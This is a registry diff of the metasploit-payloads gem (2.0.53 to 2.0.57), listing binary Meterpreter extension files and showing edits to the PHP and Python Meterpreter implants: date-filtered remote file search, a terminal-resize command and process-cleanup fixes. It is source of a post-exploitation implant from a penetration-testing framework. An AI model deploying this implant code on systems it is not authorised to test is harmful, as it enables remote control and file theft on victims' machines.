metasploit-payloads 2.0.53 → 2.0.57

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (46) hide show
  1. checksums.yaml +4 -4
  2. checksums.yaml.gz.sig +0 -0
  3. data/data/android/meterpreter.dex +0 -0
  4. data/data/android/meterpreter.jar +0 -0
  5. data/data/android/metstage.jar +0 -0
  6. data/data/android/shell.jar +0 -0
  7. data/data/meterpreter/elevator.x64.dll +0 -0
  8. data/data/meterpreter/elevator.x86.dll +0 -0
  9. data/data/meterpreter/ext_server_espia.x64.dll +0 -0
  10. data/data/meterpreter/ext_server_espia.x86.dll +0 -0
  11. data/data/meterpreter/ext_server_extapi.x64.dll +0 -0
  12. data/data/meterpreter/ext_server_extapi.x86.dll +0 -0
  13. data/data/meterpreter/ext_server_incognito.x64.dll +0 -0
  14. data/data/meterpreter/ext_server_incognito.x86.dll +0 -0
  15. data/data/meterpreter/ext_server_kiwi.x64.dll +0 -0
  16. data/data/meterpreter/ext_server_kiwi.x86.dll +0 -0
  17. data/data/meterpreter/ext_server_lanattacks.x64.dll +0 -0
  18. data/data/meterpreter/ext_server_lanattacks.x86.dll +0 -0
  19. data/data/meterpreter/ext_server_peinjector.x64.dll +0 -0
  20. data/data/meterpreter/ext_server_peinjector.x86.dll +0 -0
  21. data/data/meterpreter/ext_server_powershell.x64.dll +0 -0
  22. data/data/meterpreter/ext_server_powershell.x86.dll +0 -0
  23. data/data/meterpreter/ext_server_priv.x64.dll +0 -0
  24. data/data/meterpreter/ext_server_priv.x86.dll +0 -0
  25. data/data/meterpreter/ext_server_python.x64.dll +0 -0
  26. data/data/meterpreter/ext_server_python.x86.dll +0 -0
  27. data/data/meterpreter/ext_server_sniffer.x64.dll +0 -0
  28. data/data/meterpreter/ext_server_sniffer.x86.dll +0 -0
  29. data/data/meterpreter/ext_server_stdapi.jar +0 -0
  30. data/data/meterpreter/ext_server_stdapi.php +31 -11
  31. data/data/meterpreter/ext_server_stdapi.py +44 -3
  32. data/data/meterpreter/ext_server_stdapi.x64.dll +0 -0
  33. data/data/meterpreter/ext_server_stdapi.x86.dll +0 -0
  34. data/data/meterpreter/ext_server_unhook.x64.dll +0 -0
  35. data/data/meterpreter/ext_server_unhook.x86.dll +0 -0
  36. data/data/meterpreter/ext_server_winpmem.x64.dll +0 -0
  37. data/data/meterpreter/ext_server_winpmem.x86.dll +0 -0
  38. data/data/meterpreter/meterpreter.py +35 -21
  39. data/data/meterpreter/metsrv.x64.dll +0 -0
  40. data/data/meterpreter/metsrv.x86.dll +0 -0
  41. data/data/meterpreter/screenshot.x64.dll +0 -0
  42. data/data/meterpreter/screenshot.x86.dll +0 -0
  43. data/lib/metasploit-payloads/version.rb +1 -1
  44. data.tar.gz.sig +3 -1
  45. metadata +2 -2
  46. metadata.gz.sig +0 -0
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 476b4550064498456e290be131f1ade507e1bbff0cfb9cf0785281ada06c0903
4
- data.tar.gz: e115cd4d1dfe4973b5e019e8adca1fb2e9761863783d9409dd6bbda2e08fa232
3
+ metadata.gz: 828c2137d88b9ecf8a48064976e436f178a4e69bfc3a01b2aac2e880f605e78e
4
+ data.tar.gz: b5ee9b456a820e72fa918aafb258347b812469de22f47e0bc01d4ea039100d07
5
5
  SHA512:
6
- metadata.gz: ff3dccc7f3037b75dae7a987b1408827f2796d80fbab1d2f11b0dd6e35be6337a7885fecc197d28152be5df10b7fc0fa3e98ea2ec3c7c59456a94d12f7e954fb
7
- data.tar.gz: 4b24f2d5b7fde8a16f96183ed9bd1e47610a7be426b098ffbc392ba2aea86e696a66c3118b0d8d43cebd3a13f80414c85f8a297b85974eb4c6d5d14399275244
6
+ metadata.gz: 19d25d6d1db9e626ea6746c59a4d7344a72435e0c36b46357b2e8dfb27361383b3264b38f24038aaeb9fba6607fbbbcbeef017f81437b3dae9c11dcb2c927506
7
+ data.tar.gz: a7810ce9c9f07f4438450fb9f2a611a7c4aed844d14035a263784f241074ed773ff4661cf550386839eb939c9ec9adf143d8202161ba969a7f341c2f712ae2e3
checksums.yaml.gz.sig CHANGED
Binary file
Binary file
Binary file
Binary file
Binary file
Binary file
Binary file
Binary file
@@ -27,7 +27,9 @@ define("TLV_TYPE_SEARCH_RECURSE", TLV_META_TYPE_BOOL | 1230);
27
27
  define("TLV_TYPE_SEARCH_GLOB", TLV_META_TYPE_STRING | 1231);
28
28
  define("TLV_TYPE_SEARCH_ROOT", TLV_META_TYPE_STRING | 1232);
29
29
  define("TLV_TYPE_SEARCH_RESULTS", TLV_META_TYPE_GROUP | 1233);
30
-
30
+ define("TLV_TYPE_SEARCH_MTIME", TLV_META_TYPE_UINT | 1235);
31
+ define("TLV_TYPE_SEARCH_M_START_DATE", TLV_META_TYPE_UINT | 1236);
32
+ define("TLV_TYPE_SEARCH_M_END_DATE", TLV_META_TYPE_UINT | 1237);
31
33
  define("TLV_TYPE_FILE_MODE_T", TLV_META_TYPE_UINT | 1234);
32
34
 
33
35
  ##
@@ -340,7 +342,7 @@ define('GLOB_RECURSE',2048);
340
342
  * GLOB_NODOTS, GLOB_RECURSE
341
343
  */
342
344
  if (!function_exists('safe_glob')) {
343
- function safe_glob($pattern, $flags=0) {
345
+ function safe_glob($pattern, $flags=0, $start_date=null, $end_date=null) {
344
346
  $split=explode('/',str_replace('\\','/',$pattern));
345
347
  $mask=array_pop($split);
346
348
  $path=implode('/',$split);
@@ -356,14 +358,21 @@ function safe_glob($pattern, $flags=0) {
356
358
  && (!is_link($path."/".$file))
357
359
  )
358
360
  ) {
359
- $glob = array_merge($glob, array_prepend(safe_glob($path.'/'.$file.'/'.$mask, $flags),
360
- ($flags&GLOB_PATH?'':$file.'/')));
361
+ $newglob = safe_glob($path.'/'.$file.'/'.$mask, $flags, $start_date, $end_date);
362
+ if ($newglob !== false) {
363
+ $glob = array_merge($glob, array_prepend($newglob,
364
+ ($flags&GLOB_PATH?'':$file.'/')));
365
+ }
361
366
  }
362
367
  // Match file mask
363
368
  if (fnmatch($mask,$file)) {
369
+ $tmp_f_stat = stat($path.'/'.$file);
370
+ $mtime = $tmp_f_stat['mtime'];
364
371
  if ( ( (!($flags&GLOB_ONLYDIR)) || is_dir("$path/$file") )
365
372
  && ( (!($flags&GLOB_NODIR)) || (!is_dir($path.'/'.$file)) )
366
- && ( (!($flags&GLOB_NODOTS)) || (!in_array($file,array('.','..'))) ) )
373
+ && ( (!($flags&GLOB_NODOTS)) || (!in_array($file,array('.','..'))) )
374
+ && ( ($start_date === null) || ($start_date <= $mtime))
375
+ && ( ($end_date === null) || ($end_date >= $mtime)) )
367
376
  $glob[] = ($flags&GLOB_PATH?$path.'/':'') . $file . ($flags&GLOB_MARK?'/':'');
368
377
  }
369
378
  }
@@ -682,27 +691,38 @@ function stdapi_fs_search($req, &$pkt) {
682
691
  $glob = canonicalize_path($glob_tlv['value']);
683
692
  $recurse_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_RECURSE);
684
693
  $recurse = $recurse_tlv['value'];
694
+ $start_date_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_M_START_DATE);
695
+ $start_date = null;
696
+ if ($start_date_tlv) {
697
+ $start_date = $start_date_tlv['value'];
698
+ }
699
+ $end_date_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_M_END_DATE);
700
+ $end_date = null;
701
+ if ($end_date_tlv) {
702
+ $end_date = $end_date_tlv['value'];
703
+ }
685
704
 
686
705
  if (!$root) {
687
706
  $root = '.';
688
707
  }
689
708
 
690
709
  my_print("glob: $glob, root: $root, recurse: $recurse");
691
- $flags = GLOB_PATH;
710
+ $flags = GLOB_PATH | GLOB_NODOTS;
692
711
  if ($recurse) {
693
712
  $flags |= GLOB_RECURSE;
694
713
  }
695
- $files = safe_glob($root ."/". $glob, $flags);
714
+ $files = safe_glob($root ."/". $glob, $flags, $start_date, $end_date);
696
715
  if ($files and is_array($files)) {
697
716
  dump_array($files);
698
717
  foreach ($files as $file) {
699
718
  $file_tlvs = "";
700
719
  $s = stat($file);
701
- $p = dirname($file);
702
- $f = basename($file);
720
+ $p = canonicalize_path(dirname($file));
721
+ $f = canonicalize_path(basename($file));
703
722
  $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_PATH, $p));
704
723
  $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_NAME, $f));
705
724
  $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_SIZE, $s['size']));
725
+ $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_SEARCH_MTIME, $s['mtime']));
706
726
  packet_add_tlv($pkt, create_tlv(TLV_TYPE_SEARCH_RESULTS, $file_tlvs));
707
727
  }
708
728
  }
@@ -756,12 +776,12 @@ function stdapi_sys_config_getuid($req, &$pkt) {
756
776
  if (is_callable('posix_getuid')) {
757
777
  $uid = posix_getuid();
758
778
  $pwinfo = posix_getpwuid($uid);
759
- $user = $pwinfo['name'] . " ($uid)";
779
+ $user = $pwinfo['name'];
760
780
  } else {
761
781
  # The posix functions aren't available, this is probably windows. Use
762
782
  # the functions for getting user name and uid based on file ownership
763
783
  # instead.
764
- $user = get_current_user() . " (" . getmyuid() . ")";
784
+ $user = get_current_user();
765
785
  }
766
786
  my_print("getuid - returning: " . $user);
767
787
  packet_add_tlv($pkt, create_tlv(TLV_TYPE_USER_NAME, $user));
@@ -39,6 +39,12 @@ try:
39
39
  except ImportError:
40
40
  has_termios = False
41
41
 
42
+ try:
43
+ import fcntl
44
+ has_fcntl = True
45
+ except ImportError:
46
+ has_fcntl = False
47
+
42
48
  try:
43
49
  import _winreg as winreg
44
50
  has_winreg = True
@@ -468,6 +474,9 @@ TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232
468
474
  TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233
469
475
 
470
476
  TLV_TYPE_FILE_MODE_T = TLV_META_TYPE_UINT | 1234
477
+ TLV_TYPE_SEARCH_MTIME = TLV_META_TYPE_UINT | 1235
478
+ TLV_TYPE_SEARCH_M_START_DATE = TLV_META_TYPE_UINT | 1236
479
+ TLV_TYPE_SEARCH_M_END_DATE = TLV_META_TYPE_UINT | 1237
471
480
 
472
481
  ##
473
482
  # Net
@@ -610,6 +619,9 @@ TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541
610
619
  TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542
611
620
  TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550
612
621
 
622
+ TLV_TYPE_TERMINAL_ROWS = TLV_META_TYPE_UINT | 2600
623
+ TLV_TYPE_TERMINAL_COLUMNS = TLV_META_TYPE_UINT | 2601
624
+
613
625
  ##
614
626
  # Ui
615
627
  ##
@@ -1159,7 +1171,6 @@ def stdapi_sys_process_execute(request, response):
1159
1171
  if has_termios:
1160
1172
  try:
1161
1173
  settings = termios.tcgetattr(master)
1162
- settings[3] = settings[3] & ~termios.ECHO
1163
1174
  termios.tcsetattr(master, termios.TCSADRAIN, settings)
1164
1175
  except:
1165
1176
  pass
@@ -1167,6 +1178,7 @@ def stdapi_sys_process_execute(request, response):
1167
1178
  proc_h.stdin = os.fdopen(master, 'wb')
1168
1179
  proc_h.stdout = os.fdopen(master, 'rb')
1169
1180
  proc_h.stderr = open(os.devnull, 'rb')
1181
+ proc_h.ptyfd = slave
1170
1182
  else:
1171
1183
  proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
1172
1184
  proc_h.echo_protection = True
@@ -1509,20 +1521,36 @@ def stdapi_fs_search(request, response):
1509
1521
  search_root = unicode(search_root)
1510
1522
  glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
1511
1523
  recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
1524
+ start_date = packet_get_tlv(request,TLV_TYPE_SEARCH_M_START_DATE)
1525
+ end_date = packet_get_tlv(request,TLV_TYPE_SEARCH_M_END_DATE)
1512
1526
  if recurse:
1513
1527
  for root, dirs, files in os.walk(search_root):
1514
1528
  for f in filter(lambda f: fnmatch.fnmatch(f, glob), files):
1529
+ file_stat = os.stat(os.path.join(root, f))
1530
+ mtime = int(file_stat.st_mtime)
1531
+ if start_date and start_date['value'] > mtime:
1532
+ continue
1533
+ if end_date and end_date['value'] < mtime:
1534
+ continue
1515
1535
  file_tlv = bytes()
1516
1536
  file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root)
1517
1537
  file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
1518
- file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(root, f)).st_size)
1538
+ file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, file_stat.st_size)
1539
+ file_tlv += tlv_pack(TLV_TYPE_SEARCH_MTIME, mtime)
1519
1540
  response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
1520
1541
  else:
1521
1542
  for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)):
1543
+ file_stat = os.stat(os.path.join(search_root, f))
1544
+ mtime = int(file_stat.st_mtime)
1545
+ if start_date and start_date['value'] > mtime:
1546
+ continue
1547
+ if end_date and end_date['value'] < mtime:
1548
+ continue
1522
1549
  file_tlv = bytes()
1523
1550
  file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root)
1524
1551
  file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
1525
- file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(search_root, f)).st_size)
1552
+ file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, file_stat.st_size)
1553
+ file_tlv += tlv_pack(TLV_TYPE_SEARCH_MTIME, mtime)
1526
1554
  response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
1527
1555
  return ERROR_SUCCESS, response
1528
1556
 
@@ -2548,3 +2576,16 @@ def stdapi_ui_get_idle_time(request, response):
2548
2576
  idle_time = (GetTickCount() - info.dwTime) / 1000
2549
2577
  response += tlv_pack(TLV_TYPE_IDLE_TIME, idle_time)
2550
2578
  return ERROR_SUCCESS, response
2579
+
2580
+ @register_function_if(has_termios and has_fcntl)
2581
+ def stdapi_sys_process_set_term_size(request, response):
2582
+ channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
2583
+ rows = packet_get_tlv(request, TLV_TYPE_TERMINAL_ROWS)['value']
2584
+ columns = packet_get_tlv(request, TLV_TYPE_TERMINAL_COLUMNS)['value']
2585
+ if channel_id in meterpreter.interact_channels:
2586
+ proc_h = meterpreter.channels[channel_id].proc_h
2587
+ winsize = struct.pack("HHHH", rows, columns, 0, 0)
2588
+ fcntl.ioctl(proc_h.stdin, termios.TIOCSWINSZ, winsize)
2589
+ else:
2590
+ return ERROR_FAILURE, response
2591
+ return ERROR_SUCCESS, response
@@ -347,6 +347,8 @@ COMMAND_IDS = (
347
347
  (1115, 'stdapi_audio_mic_start'),
348
348
  (1116, 'stdapi_audio_mic_stop'),
349
349
  (1117, 'stdapi_audio_mic_list'),
350
+ (1118, 'stdapi_sys_process_set_term_size'),
351
+
350
352
  )
351
353
  # ---------------------------------------------------------------
352
354
 
@@ -639,13 +641,17 @@ class MeterpreterProcess(MeterpreterChannel):
639
641
  super(MeterpreterProcess, self).__init__()
640
642
 
641
643
  def close(self):
642
- self.proc_h.kill()
643
- if hasattr(self.proc_h.stdin, 'close'):
644
- self.proc_h.stdin.close()
645
- if hasattr(self.proc_h.stdout, 'close'):
646
- self.proc_h.stdout.close()
647
- if hasattr(self.proc_h.stderr, 'close'):
648
- self.proc_h.stderr.close()
644
+ if self.proc_h.poll() is None:
645
+ self.proc_h.kill()
646
+ if self.proc_h.ptyfd is not None:
647
+ os.close(self.proc_h.ptyfd)
648
+ for stream in (self.proc_h.stdin, self.proc_h.stdout, self.proc_h.stderr):
649
+ if not hasattr(stream, 'close'):
650
+ continue
651
+ try:
652
+ stream.close()
653
+ except (IOError, OSError):
654
+ pass
649
655
 
650
656
  def is_alive(self):
651
657
  return self.proc_h.poll() is None
@@ -739,18 +745,26 @@ class MeterpreterSocketUDPClient(MeterpreterSocket):
739
745
  export(MeterpreterSocketUDPClient)
740
746
 
741
747
  class STDProcessBuffer(threading.Thread):
742
- def __init__(self, std, is_alive):
743
- threading.Thread.__init__(self)
748
+ def __init__(self, std, is_alive, name=None):
749
+ threading.Thread.__init__(self, name=name or self.__class__.__name__)
744
750
  self.std = std
745
751
  self.is_alive = is_alive
746
752
  self.data = bytes()
747
753
  self.data_lock = threading.RLock()
748
754
 
755
+ def _read1(self):
756
+ try:
757
+ return self.std.read(1)
758
+ except (IOError, OSError):
759
+ return bytes()
760
+
749
761
  def run(self):
750
- for byte in iter(lambda: self.std.read(1), bytes()):
762
+ byte = self._read1()
763
+ while len(byte):
751
764
  self.data_lock.acquire()
752
765
  self.data += byte
753
766
  self.data_lock.release()
767
+ byte = self._read1()
754
768
 
755
769
  def is_read_ready(self):
756
770
  return len(self.data) != 0
@@ -778,14 +792,15 @@ class STDProcess(subprocess.Popen):
778
792
  debug_print('[*] starting process: ' + repr(args[0]))
779
793
  subprocess.Popen.__init__(self, *args, **kwargs)
780
794
  self.echo_protection = False
795
+ self.ptyfd = None
781
796
 
782
797
  def is_alive(self):
783
798
  return self.poll() is None
784
799
 
785
800
  def start(self):
786
- self.stdout_reader = STDProcessBuffer(self.stdout, self.is_alive)
801
+ self.stdout_reader = STDProcessBuffer(self.stdout, self.is_alive, name='STDProcessBuffer.stdout')
787
802
  self.stdout_reader.start()
788
- self.stderr_reader = STDProcessBuffer(self.stderr, self.is_alive)
803
+ self.stderr_reader = STDProcessBuffer(self.stderr, self.is_alive, name='STDProcessBuffer.stderr')
789
804
  self.stderr_reader.start()
790
805
 
791
806
  def write(self, channel_data):
@@ -1273,15 +1288,15 @@ class PythonMeterpreter(object):
1273
1288
  data = bytes()
1274
1289
  write_request_parts = []
1275
1290
  if isinstance(channel, MeterpreterProcess):
1276
- if not channel_id in self.interact_channels:
1277
- continue
1278
- proc_h = channel.proc_h
1279
- if proc_h.stderr_reader.is_read_ready():
1280
- data = proc_h.stderr_reader.read()
1281
- elif proc_h.stdout_reader.is_read_ready():
1282
- data = proc_h.stdout_reader.read()
1283
- elif not channel.is_alive():
1291
+ if channel_id in self.interact_channels:
1292
+ proc_h = channel.proc_h
1293
+ if proc_h.stderr_reader.is_read_ready():
1294
+ data = proc_h.stderr_reader.read()
1295
+ elif proc_h.stdout_reader.is_read_ready():
1296
+ data = proc_h.stdout_reader.read()
1297
+ if not channel.is_alive():
1284
1298
  self.handle_dead_resource_channel(channel_id)
1299
+ channel.close()
1285
1300
  elif isinstance(channel, MeterpreterSocketTCPClient):
1286
1301
  while select.select([channel.fileno()], [], [], 0)[0]:
1287
1302
  try:
@@ -1552,7 +1567,6 @@ class PythonMeterpreter(object):
1552
1567
  status, response = channel.core_eof(request, response)
1553
1568
  return ERROR_SUCCESS, response
1554
1569
 
1555
-
1556
1570
  def _core_channel_interact(self, request, response):
1557
1571
  channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
1558
1572
  if channel_id not in self.channels:
Binary file
Binary file
Binary file
Binary file
@@ -1,6 +1,6 @@
1
1
  # -*- coding:binary -*-
2
2
  module MetasploitPayloads
3
- VERSION = '2.0.53'
3
+ VERSION = '2.0.57'
4
4
 
5
5
  def self.version
6
6
  VERSION
data.tar.gz.sig CHANGED
@@ -1 +1,3 @@
1
- ���]�僨���/�����K�����zk�ϸ�vn|��oN���Kw+w������)��$������I��̝�ܦ,�o�.�Es �Ȋ��9U��a�������b]Y)H���c'"߄X4| �<0j�[S�����K7�>�G� �ފ���*Ly
1
+ �*�Ax̭��XS�y�'wp��5��32�X�:C��(��$ִR'�Z����t�x[d��N�6��3���m6�� ���Y�����'~XRiҨ�8OH����6����{��/����?�v���np��;��̝�8��;������adP�Ә)Q�
2
+ �����QW�dt��/d��y��X��+�q��_}1]��v��@��b�5�;�_>��� �ʈ�?
3
+ ���U�ޢ�f�tgX���U���oJ�$�����;4
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: metasploit-payloads
3
3
  version: !ruby/object:Gem::Version
4
- version: 2.0.53
4
+ version: 2.0.57
5
5
  platform: ruby
6
6
  authors:
7
7
  - OJ Reeves
@@ -96,7 +96,7 @@ cert_chain:
96
96
  EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
97
97
  9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
98
98
  -----END CERTIFICATE-----
99
- date: 2021-08-26 00:00:00.000000000 Z
99
+ date: 2021-09-27 00:00:00.000000000 Z
100
100
  dependencies:
101
101
  - !ruby/object:Gem::Dependency
102
102
  name: rake
metadata.gz.sig CHANGED
Binary file